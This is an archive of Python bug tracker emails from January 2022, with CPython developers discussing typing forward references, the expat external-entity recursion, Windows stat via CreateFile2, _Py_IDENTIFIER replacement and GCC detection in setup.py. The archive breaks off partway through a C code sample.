by Irit Katriel : ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 14:33:22 2022 From: report at bugs.python.org (Roundup Robot) Date: Wed, 26 Jan 2022 19:33:22 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643225602.5.0.69938986766.issue46502@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 4.0 -> 5.0 pull_requests: +29104 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30925 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 14:34:40 2022 From: report at bugs.python.org (Mateusz Loskot) Date: Wed, 26 Jan 2022 19:34:40 +0000 Subject: [issue46502] Py_CompileString no longer allows to tell "incomplete input" from "invalid input" In-Reply-To: <1643039336.79.0.892958421455.issue46502@roundup.psfhosted.org> Message-ID: <1643225680.95.0.348790814377.issue46502@roundup.psfhosted.org> Mateusz Loskot added the comment: Not quite the answer I'd like to received, but thank you very much for the explanation. I've submitted pull request removing the deprecated FAQ entry https://github.com/python/cpython/pull/30925 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 14:35:39 2022 From: report at bugs.python.org (Nova) Date: Wed, 26 Jan 2022 19:35:39 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643225739.91.0.11404338199.issue46487@roundup.psfhosted.org> Nova added the comment: Hey Andrew, thanks for the reply! > Would you prepare a pull request? Sure. > ... and documenting the change. Apparently `WriteTransport.get_write_buffer_limits` is already documented (https://docs.python.org/3/library/asyncio-protocol.html#asyncio.WriteTransport.get_write_buffer_limits) so please can you clarify on what did you mean by that? I am sorry this is my first time here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:12:02 2022 From: report at bugs.python.org (Zachary Ware) Date: Wed, 26 Jan 2022 20:12:02 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643227922.1.0.609544051927.issue42982@roundup.psfhosted.org> Zachary Ware added the comment: Rather than suggesting an actual number, perhaps we should link to an external resources that covers how to choose the number? Or we leave it vague and say "The number of iterations should be chosen based on the hash algorithm and computing power; there is no universal recommendation, but hundreds of thousands of iterations may be reasonable." This avoids bikeshedding a specific number, but still gives a general idea of the magnitude of number involved. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:30:38 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 20:30:38 +0000 Subject: [issue46539] typing: forward references don't understand special type forms Message-ID: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> New submission from Gregory Beauregard : Consider the following code on 3.11 main: ``` from typing import Annotated, ClassVar, get_type_hints class DC: a: ClassVar[int] = 3 b: ClassVar["int"] = 3 c: "ClassVar[int]" = 3 d: Annotated[ClassVar[int], (2, 5)] = 3 e: Annotated[ClassVar["int"], (2, 5)] = 3 f: "Annotated[ClassVar[int], (2, 5)]" = 3 class DC_Special_ForwardRef: g: Annotated["ClassVar[int]", (] = 3 # OK assert get_type_hints(DC, globals(), locals()) == { "a": ClassVar[int], "b": ClassVar[int], "c": ClassVar[int], "d": ClassVar[int], "e": ClassVar[int], "f": ClassVar[int], } # TypeError: typing.ClassVar[int] is not valid as type argument get_type_hints(DC_Special_ForwardRef, globals(), locals()) ``` Currently, the `Annotated["ClassVar[int]", (2, 5)]` annotation raises at runtime when `get_type_hints` is called, but all the other forward reference annotations are okay. My understanding is this is because when typing._type_check runs on a type where special forms are allowed it's possible for the typing._type_convert it calls it itself run a typing._type_check on contained forward references. However, if that forward reference was itself a special form then it's possible to get an error because typing._type_check doesn't pass on that special forms are allowed. I have drafted a patch to pass on this information. This will become important in the future as more special forms are allowed to wrap each other, such as allowing Final and ClassVar to nest each other in dataclasses, or when Required and NotRequired land. In the future we may also want to reconsider runtime restrictions on special forms in `typing.py` entirely and instead choose to leave this to type checkers. Is my analysis/patch approach okay? Forward references can be tricky. Should we be discussing runtime restrictions in typing.py more generally in the future? ---------- components: Library (Lib) messages: 411790 nosy: GBeauregard, Jelle Zijlstra, gvanrossum, kj priority: normal severity: normal status: open title: typing: forward references don't understand special type forms versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:31:13 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 20:31:13 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643229073.79.0.16420523481.issue46539@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- keywords: +patch pull_requests: +29105 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30926 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:34:28 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 26 Jan 2022 20:34:28 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643229268.26.0.83737940336.issue46539@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood, sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:41:44 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 20:41:44 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643229704.3.0.706638006653.issue46539@roundup.psfhosted.org> Change by Gregory Beauregard : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:47:52 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 26 Jan 2022 20:47:52 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643230072.75.0.210374765773.issue46528@roundup.psfhosted.org> Brandt Bucher added the comment: New changeset 85483668647e7840c7b9a1877caaf2ef14a4443f by Brandt Bucher in branch 'main': bpo-46528: Simplify the VM's stack manipulations (GH-30902) https://github.com/python/cpython/commit/85483668647e7840c7b9a1877caaf2ef14a4443f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 15:48:00 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 20:48:00 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643230080.44.0.760527302583.issue46539@roundup.psfhosted.org> Gregory Beauregard added the comment: typo: the line is `g: Annotated["ClassVar[int]", (2, 5)] = 3` in the code sample. Somehow I left it at only `(` for the annotation instead of `(2,5)` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:05:40 2022 From: report at bugs.python.org (embassy_vfx) Date: Wed, 26 Jan 2022 21:05:40 +0000 Subject: [issue46540] dylibs not loading properly from NFS mounts Message-ID: <1643231140.7.0.949544098465.issue46540@roundup.psfhosted.org> New submission from embassy_vfx : MacOS Catalina 10.15.4 and 10.15.7 tested with XCode Python3.8 install and Python3.7.9 installer from https://www.python.org/ftp/python/3.7.9/python-3.7.9-macosx10.9.pkg (and my own build of 3.7.12) When importing libraries that use shared object files to an NFS mounted directory, they do not open the dynamic library properly. We can use PySide2 as an example here. This workflow works fine in python 2.7 using the same steps. Repro Steps: 1)pip install PySide2 to an NFS mounted directory: `/usr/local/bin/python3.7 -m pip install --target=//nfs_3.7 PySide2` 2)`export PYTHONPATH=//nfs_3.7` 3)run python `/usr/local/bin/python3.7` 4)import PySide2 - you should get an ImportError that looks like "dlopen(//nfs_3.7/shiboken2/shiboken2.abi3.so, 2): Library not loaded: @rpath/libshiboken2.abi3.5.15.dylib" - otool shows shiboken2.abi3.so has it's rpath set as @loader_path and I've confirmed both files exist. If I follow the same procedure above but instead install PySide2 to `/tmp/local_3.7` everything works as expected and the binaries are loaded properly. I had this same issue with standard library .so files when I installed my custom build of python to an NFS mounted directory (_ssl as an example) but only when running through a virtual environment. Possibly @rath/@loader_path related? This seems to only be an issue on MacOS as I have no issues on the same NFS mount on Linux. ---------- components: macOS messages: 411793 nosy: embassy_vfx, ned.deily, ronaldoussoren priority: normal severity: normal status: open title: dylibs not loading properly from NFS mounts type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:22:05 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Wed, 26 Jan 2022 21:22:05 +0000 Subject: [issue45173] Remove configparser deprecations In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org> Message-ID: <1643232125.1.0.775237882817.issue45173@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- pull_requests: +29106 pull_request: https://github.com/python/cpython/pull/30927 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:23:07 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 Jan 2022 21:23:07 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643232187.26.0.806425458894.issue46539@roundup.psfhosted.org> Guido van Rossum added the comment: I wonder if this is at all similar to bpo-41370. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:32:47 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Wed, 26 Jan 2022 21:32:47 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643232767.84.0.375988565415.issue46539@roundup.psfhosted.org> Gregory Beauregard added the comment: I did try the proposed patch in bpo-41370 and verified it didn't resolve the issue so I'm not certain they strictly overlap, but I also haven't had time to fully digest the underlying issues in bpo-41370 yet. I think it does have relevance for changes we want to make for dataclasses re: Annotated, though: https://bugs.python.org/issue46511 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:32:55 2022 From: report at bugs.python.org (sping) Date: Wed, 26 Jan 2022 21:32:55 +0000 Subject: [issue38487] expat infinite loop In-Reply-To: <1571159560.58.0.207422547054.issue38487@roundup.psfhosted.org> Message-ID: <1643232775.76.0.358495635944.issue38487@roundup.psfhosted.org> sping added the comment: Hi StyXman, I had a closer look at the files you shared, thanks for those, very helpful! What I found is that expat_test.py uses a single scalar variable (_DictSAXHandler.parser) to keep track of the related parser, while it would need a stack to allow recursion. In a way, the current approach is equivalent to walking up the stack as expected but never going back down. Once I make the code use a stack, the loop goes away. I'm pasting the patch inline (with two spaces indented globally) below. During debugging, these are commands I used to compare internal libexpat behavior, that may be of interest: EXPAT_ACCOUNTING_DEBUG=2 python expat_test.py |& sed 's,0x[0-9a-f]\+,XXX,' | tee pyexpat.txt EXPAT_ACCOUNTING_DEBUG=2 xmlwf -x test1.xml |& sed 's,0x[0-9a-f]\+,XXX,' | tee xmlwf.txt diff -u xmlwf.txt pyexpat.txt Here's how I quick-fixed expat_test.py to make things work: # diff -u expat_test.py_ORIG expat_test.py --- expat_test.py_ORIG 2022-01-26 21:15:27.506458671 +0100 +++ expat_test.py 2022-01-26 22:15:08.741384932 +0100 @@ -7,11 +7,21 @@ parser.ExternalEntityRefHandler = handler.externalEntityRef - # store the parser in the handler so we can recurse - handler.parser = parser - class _DictSAXHandler(object): + def __init__(self): + self._parsers = [] + + def push_parser(self, parser): + self._parsers.append(parser) + + def pop_parser(self): + self._parsers.pop() + + @property + def parser(self): + return self._parsers[-1] + def externalEntityRef(self, context, base, sysId, pubId): print(context, base, sysId, pubId) external_parser = self.parser.ExternalEntityParserCreate(context) @@ -19,7 +29,9 @@ setup_parser(external_parser, self) f = open(sysId, 'rb') print(f) + self.push_parser(external_parser) external_parser.ParseFile(f) + self.pop_parser() print(f) # all OK @@ -36,12 +48,13 @@ namespace_separator ) setup_parser(parser, handler) + handler.push_parser(parser) if hasattr(xml_input, 'read'): parser.ParseFile(xml_input) else: parser.Parse(xml_input, True) - return handler.item + # return handler.item # there is no .item parse(open('test1.xml', 'rb')) What do you tink? PS: Please note that processing external entities has security implications (see https://en.wikipedia.org/wiki/XML_external_entity_attack). Best, Sebastian ---------- nosy: +sping _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:39:25 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 26 Jan 2022 21:39:25 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643233165.53.0.638332525364.issue46539@roundup.psfhosted.org> Guido van Rossum added the comment: Agree it's not the same issue, but there's similarity -- both are due to putting a stringized annotation (presumably a forward ref) somewhere inside another construct. whether it's list["N"] or Annotated["ClassVar[int]"]. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 16:52:27 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 21:52:27 +0000 Subject: [issue46506] [Windows] wrap CreateFile to support follow_symlinks In-Reply-To: <1643059470.04.0.661818040918.issue46506@roundup.psfhosted.org> Message-ID: <1643233947.39.0.925458823449.issue46506@roundup.psfhosted.org> Eryk Sun added the comment: > switch to the newer CreateFile2() function Apparently we need to allow FILE_SHARE_READ if CreateFile2() is used to implement os.stat(). It's not a big deal, but this is a design flaw. CreateFile2() always uses the kernel I/O flag FILE_DISALLOW_EXCLUSIVE [1] when it calls NtCreateFile(). The intent of this flag is to avoid exclusive read access on the first open of a file when a user lacks write permission. Thus unprivileged users aren't allowed to prevent read access to critical system files. However, the implementation is flawed because it denies access even if the open doesn't request data access. It's also flawed because it allows exclusive read access when there are previous opens even if the previous opens have no data access. Classically, IoCheckShareAccess() only checks for a sharing violation when an open requests read, write, or delete data access (i.e. FILE_READ_DATA, FILE_EXECUTE, FILE_WRITE_DATA, FILE_APPEND_DATA, DELETE). This is clearly explained in [MS-FSA] [2]. An open that only requests metadata access can never cause a sharing violation and poses no problem with regard to blocking access to a file. --- [1] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-iocreatefileex [2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fsa/8c0e3f4f-0729-49f4-a14d-7f7add593819 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:01:04 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 26 Jan 2022 22:01:04 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. Message-ID: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> New submission from Eric Snow : `_Py_Identifier` has been useful but at this point there is a faster and simpler approach we could take as a replacement: statically initialize the objects as fields on `_PyRuntimeState` and reference them directly through a macro. This would involve the following: * add a `PyUnicodeObject field (not a pointer) to `_PyRuntimeState` for each string that currently uses `_Py_IDENTIFIER()` * initialize each object as part of the static initializer for `_PyRuntimeState` * make each "immortal" (e.g. start with a really high refcount) * add a macro to look up a given string * update each location that currently uses `_Py_IDENTIFIER()` to use the new macro instead As part of this, we would also do the following: * get rid of all C-API functions with `_Py_Identifer` parameters * get rid of the old runtime state related to identifiers * get rid of `_Py_Identifier`, `_Py_IDENTIFIER()`, etc. (Note that there are several hundred uses of `_Py_IDENTIFIER()`, including a number of duplicates.) Pros: * reduces indirection (and extra calls) for C-API using the strings (making the code easier to understand and speeding it up) * the objects are referenced from a fixed address in the static data section (speeding things up and allowing the C compiler to optimize better) * there is no lazy allocation (or lookup, etc.) so there are fewer possible failures when the objects get used (thus less error return checking) * simplifies the runtime state * saves memory (at little, at least) * the approach for per-interpreter is simpler (if needed) * reduces the number of static variables in any given C module * reduces the number of functions in the ("private") C-API * "deep frozen" modules can use these strings * other commonly-used strings could be pre-allocated by adding `_PyRuntimeState` fields for them Cons: * churn * adding a string to the list requires modifying a separate file from the one where you actually want to use the string * strings can get "orphaned" (we could prevent this with a check in `make check`) * some PyPI packages may rely on `_Py_IDENTIFIER()` (even though it is "private" C-API) * some strings may never get used for any given ./python invocation Note that with a basic partial implementation (GH-30928) I'm seeing a 1% improvement in performance (see https://github.com/faster-cpython/ideas/issues/230). ---------- assignee: eric.snow components: Interpreter Core messages: 411799 nosy: eric.snow, serhiy.storchaka, vstinner priority: normal pull_requests: 29107 severity: normal stage: needs patch status: open title: Replace _Py_IDENTIFIER() with statically initialized objects. versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:01:21 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 22:01:21 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643234481.6.0.914908100118.issue38472@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +29108 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30929 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:01:18 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 26 Jan 2022 22:01:18 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643234478.55.0.83043378581.issue46541@roundup.psfhosted.org> Eric Snow added the comment: ## Background ## `_Py_Identifier` (and `_Py_IDENTIFIER()`, etc.) was added in 2011 [1][2] for several reasons: * provide a consistent approach for a common optimization: caching C-string based string objects * facilitate freeing those objects during runtime finalization The solution involved using a static variable defined, using `_Py_IDENTIFIER()` near the code that needed the string. The variable (a `_Py_Identifier`) would hold the desired C string (statically initialized) and the corresponding (lazily created) `PyUnicodeObject`. The code where the `_Py_Identifier` was defined would then pass it to specialized versions of various C-API that would normally consume a C string or `PyUnicodeObject`. Then that code would use either the C-string or the object (creating and caching it first if not done already). This approach decentralized the caching but also provided a single tracking mechanism that made it easier to clean up the objects. Over the last decade a number of changes were made, including recent changes to make the identifiers per-interpreter and to use a centralized cache. [1] https://github.com/python/cpython/commit/afe55bba33a20f87a58f940186359237064b428f [2] https://mail.python.org/archives/list/python-dev at python.org/message/FRUTTE47JO2XN3LXV2J4VB5A5VILILLA/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:03:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 22:03:28 +0000 Subject: [issue38472] GCC detection in setup.py is broken In-Reply-To: <1571056115.0.0.505317698716.issue38472@roundup.psfhosted.org> Message-ID: <1643234608.73.0.394762026659.issue38472@roundup.psfhosted.org> STINNER Victor added the comment: Ok, I reproduced the issue. I wrote PR 30929 to fix it. The issue only occurs when cross-compiling Python with GCC and a German locale. I can reproduce the issue on Fedora 35: $ LC_ALL=de_DE gcc -E -v Es werden eingebaute Spezifikationen verwendet. COLLECT_GCC=gcc OFFLOAD_TARGET_NAMES=nvptx-none OFFLOAD_TARGET_DEFAULT=1 Ziel: x86_64-redhat-linux Konfiguriert mit: ../configure --enable-bootstrap --enable-languages=c,c++,fortran,objc,obj-c++,ada,go,d,lto --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-shared --enable-threads=posix --enable-checking=release --enable-multilib --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-gcc-major-version-only --with-linker-hash-style=gnu --enable-plugin --enable-initfini-array --with-isl=/builddir/build/BUILD/gcc-11.2.1-20211203/obj-x86_64-redhat-linux/isl-install --enable-offload-targets=nvptx-none --without-cuda-driver --enable-gnu-indirect-function --enable-cet --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux --with-build-config=bootstrap-lto --enable-link-serialization=1 Thread-Modell: posix Unterst?tzte LTO-Kompressionsalgorithmen: zlib zstd gcc-Version 11.2.1 20211203 (Red Hat 11.2.1-7) (GCC) The last line starts with "gcc-Version 11.2.1". Whereas the last line starts with "gcc version 11.2.1" with the C locale: $ LC_ALL=C gcc -E -v Using built-in specs. COLLECT_GCC=gcc OFFLOAD_TARGET_NAMES=nvptx-none OFFLOAD_TARGET_DEFAULT=1 Target: x86_64-redhat-linux Configured with: ../configure --enable-bootstrap --enable-languages=c,c++,fortran,objc,obj-c++,ada,go,d,lto --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-shared --enable-threads=posix --enable-checking=release --enable-multilib --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-gnu-unique-object --enable-linker-build-id --with-gcc-major-version-only --with-linker-hash-style=gnu --enable-plugin --enable-initfini-array --with-isl=/builddir/build/BUILD/gcc-11.2.1-20211203/obj-x86_64-redhat-linux/isl-install --enable-offload-targets=nvptx-none --without-cuda-driver --enable-gnu-indirect-function --enable-cet --with-tune=generic --with-arch_32=i686 --build=x86_64-redhat-linux --with-build-config=bootstrap-lto --enable-link-serialization=1 Thread model: posix Supported LTO compression algorithms: zlib zstd gcc version 11.2.1 20211203 (Red Hat 11.2.1-7) (GCC) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:23:48 2022 From: report at bugs.python.org (Christian Heimes) Date: Wed, 26 Jan 2022 22:23:48 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643235828.49.0.76539994529.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +29109 pull_request: https://github.com/python/cpython/pull/30930 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 17:56:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 22:56:33 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643237793.74.0.0856904613013.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > datatable-1.0.0.tar.gz I created https://github.com/h2oai/datatable/pull/3231 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:12:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 26 Jan 2022 23:12:12 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643238732.69.0.60572152291.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > pickle5-0.0.12: pickle5/_pickle.c This project is a backport targeting Python 3.7 and older. I'm not sure if it makes sense to update to it to Python 3.11. It's the same for pysha3 which targets Python <= 3.5. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 18:15:08 2022 From: report at bugs.python.org (Eryk Sun) Date: Wed, 26 Jan 2022 23:15:08 +0000 Subject: [issue46506] [Windows] wrap CreateFile to support follow_symlinks In-Reply-To: <1643059470.04.0.661818040918.issue46506@roundup.psfhosted.org> Message-ID: <1643238908.3.0.343560469617.issue46506@roundup.psfhosted.org> Eryk Sun added the comment: Here's an implementation of _Py_CreateFile2() and win32_xstat_impl(): typedef struct { DWORD type; DWORD attributes; DWORD reparseTag; } _PY_CREATE_FILE_INFO; static HANDLE _Py_CreateFile2(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, DWORD dwCreationDisposition, LPCREATEFILE2_EXTENDED_PARAMETERS pCreateExParams, BOOL traverse, _PY_CREATE_FILE_INFO *pCreateInfo) { HANDLE hFile; DWORD error; FILE_BASIC_INFO fbi; FILE_ATTRIBUTE_TAG_INFO fati; BOOL openReparsePoint = FALSE; BOOL traverseFailed = FALSE; _PY_CREATE_FILE_INFO cfi = {0}; CREATEFILE2_EXTENDED_PARAMETERS createExParams = { sizeof(CREATEFILE2_EXTENDED_PARAMETERS)}; if (!pCreateExParams) { pCreateExParams = &createExParams; } pCreateExParams->dwFileFlags |= FILE_FLAG_BACKUP_SEMANTICS; if (pCreateExParams->dwFileFlags & FILE_FLAG_OPEN_REPARSE_POINT) { openReparsePoint = TRUE; } else if (!traverse) { pCreateExParams->dwFileFlags |= FILE_FLAG_OPEN_REPARSE_POINT; } // Share read access if write access isn't requested because // CreateFile2 uses the NT I/O flag FILE_DISALLOW_EXCLUSIVE. if (!(dwDesiredAccess & (GENERIC_ALL | GENERIC_WRITE | FILE_WRITE_DATA | FILE_APPEND_DATA))) { dwShareMode |= FILE_SHARE_READ; } call_createfile: hFile = CreateFile2(lpFileName, dwDesiredAccess, dwShareMode, dwCreationDisposition, pCreateExParams); error = GetLastError(); // success: 0 or ERROR_ALREADY_EXISTS if (hFile == INVALID_HANDLE_VALUE) { // bpo-37834: open an unhandled reparse point if traverse fails. traverseFailed = (error == ERROR_CANT_ACCESS_FILE); if (openReparsePoint || !(traverse && traverseFailed)) { return INVALID_HANDLE_VALUE; } pCreateExParams->dwFileFlags |= FILE_FLAG_OPEN_REPARSE_POINT; hFile = CreateFile2(lpFileName, dwDesiredAccess, dwShareMode, dwCreationDisposition, pCreateExParams); if (hFile == INVALID_HANDLE_VALUE) { SetLastError(error); return INVALID_HANDLE_VALUE; } error = GetLastError(); // 0 or ERROR_ALREADY_EXISTS } if (!pCreateInfo && (openReparsePoint || (traverse && !traverseFailed))) { return hFile; } cfi.type = GetFileType(hFile); if (cfi.type == FILE_TYPE_UNKNOWN && GetLastError() != 0) { error = GetLastError(); goto cleanup; } if (GetFileInformationByHandleEx( hFile, FileAttributeTagInfo, &fati, sizeof(fati))) { cfi.attributes = fati.FileAttributes; cfi.reparseTag = fati.ReparseTag; } else if (GetFileInformationByHandleEx( hFile, FileBasicInfo, &fbi, sizeof(fbi))) { cfi.attributes = fbi.FileAttributes; } else { switch (GetLastError()) { case ERROR_INVALID_PARAMETER: case ERROR_INVALID_FUNCTION: case ERROR_NOT_SUPPORTED: // The file is not in a filesystem. break; default: error = GetLastError(); } goto cleanup; } if (cfi.attributes & FILE_ATTRIBUTE_REPARSE_POINT) { if (IsReparseTagNameSurrogate(cfi.reparseTag)) { if (traverseFailed) { error = ERROR_CANT_ACCESS_FILE; goto cleanup; } } else if (!openReparsePoint && !traverseFailed) { // Always try to reparse if it's not a name surrogate. CloseHandle(hFile); traverse = TRUE; pCreateExParams->dwFileFlags &= ~FILE_FLAG_OPEN_REPARSE_POINT; goto call_createfile; } } cleanup: if (error && error != ERROR_ALREADY_EXISTS) { CloseHandle(hFile); hFile = INVALID_HANDLE_VALUE; } else if (pCreateInfo) { *pCreateInfo = cfi; } SetLastError(error); return hFile; } static int win32_xstat_impl(const wchar_t *path, struct _Py_stat_struct *result, BOOL traverse) { DWORD error; BY_HANDLE_FILE_INFORMATION fileInfo; _PY_CREATE_FILE_INFO cfi; int retval = 0; HANDLE hFile = _Py_CreateFile2(path, FILE_READ_ATTRIBUTES, 0, OPEN_EXISTING, NULL, traverse, &cfi); if (hFile == INVALID_HANDLE_VALUE) { // Either the path doesn't exist, or the caller lacks access. error = GetLastError(); switch (error) { case ERROR_INVALID_PARAMETER: // The "con" DOS device requires read or write access. hFile = _Py_CreateFile2(path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, OPEN_EXISTING, NULL, traverse, &cfi); if (hFile == INVALID_HANDLE_VALUE) { SetLastError(error); return -1; } break; case ERROR_ACCESS_DENIED: // Cannot sync or read attributes. case ERROR_SHARING_VIOLATION: // It's a paging file. // Try reading the parent directory. if (!attributes_from_dir(path, &fileInfo, &cfi.reparseTag)) { // Cannot read the parent directory. SetLastError(error); return -1; } if (fileInfo.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) { if (traverse || !IsReparseTagNameSurrogate(cfi.reparseTag)) { // Can't traverse, so fail. SetLastError(error); return -1; } } break; default: return -1; } } if (hFile != INVALID_HANDLE_VALUE) { if (cfi.type != FILE_TYPE_DISK) { memset(result, 0, sizeof(*result)); if (cfi.attributes != INVALID_FILE_ATTRIBUTES && cfi.attributes & FILE_ATTRIBUTE_DIRECTORY) { // e.g. "//./pipe/" or "//./mailslot/" result->st_mode = _S_IFDIR; } else if (cfi.type == FILE_TYPE_CHAR) { // e.g. "//./nul" result->st_mode = _S_IFCHR; } else if (cfi.type == FILE_TYPE_PIPE) { // e.g. "//./pipe/spam" result->st_mode = _S_IFIFO; } // FILE_TYPE_UNKNOWN // e.g. "//./mailslot/waitfor.exe/spam" goto cleanup; } if (!GetFileInformationByHandle(hFile, &fileInfo)) { switch (GetLastError()) { case ERROR_INVALID_PARAMETER: case ERROR_INVALID_FUNCTION: case ERROR_NOT_SUPPORTED: // Volumes and physical disks are block devices, // e.g. "//./C:" or "//./PhysicalDrive0" memset(result, 0, sizeof(*result)); result->st_mode = 0x6000; // S_IFBLK goto cleanup; } retval = -1; goto cleanup; } } _Py_attribute_data_to_stat(&fileInfo, cfi.reparseTag, result); if (!(fileInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { // Set 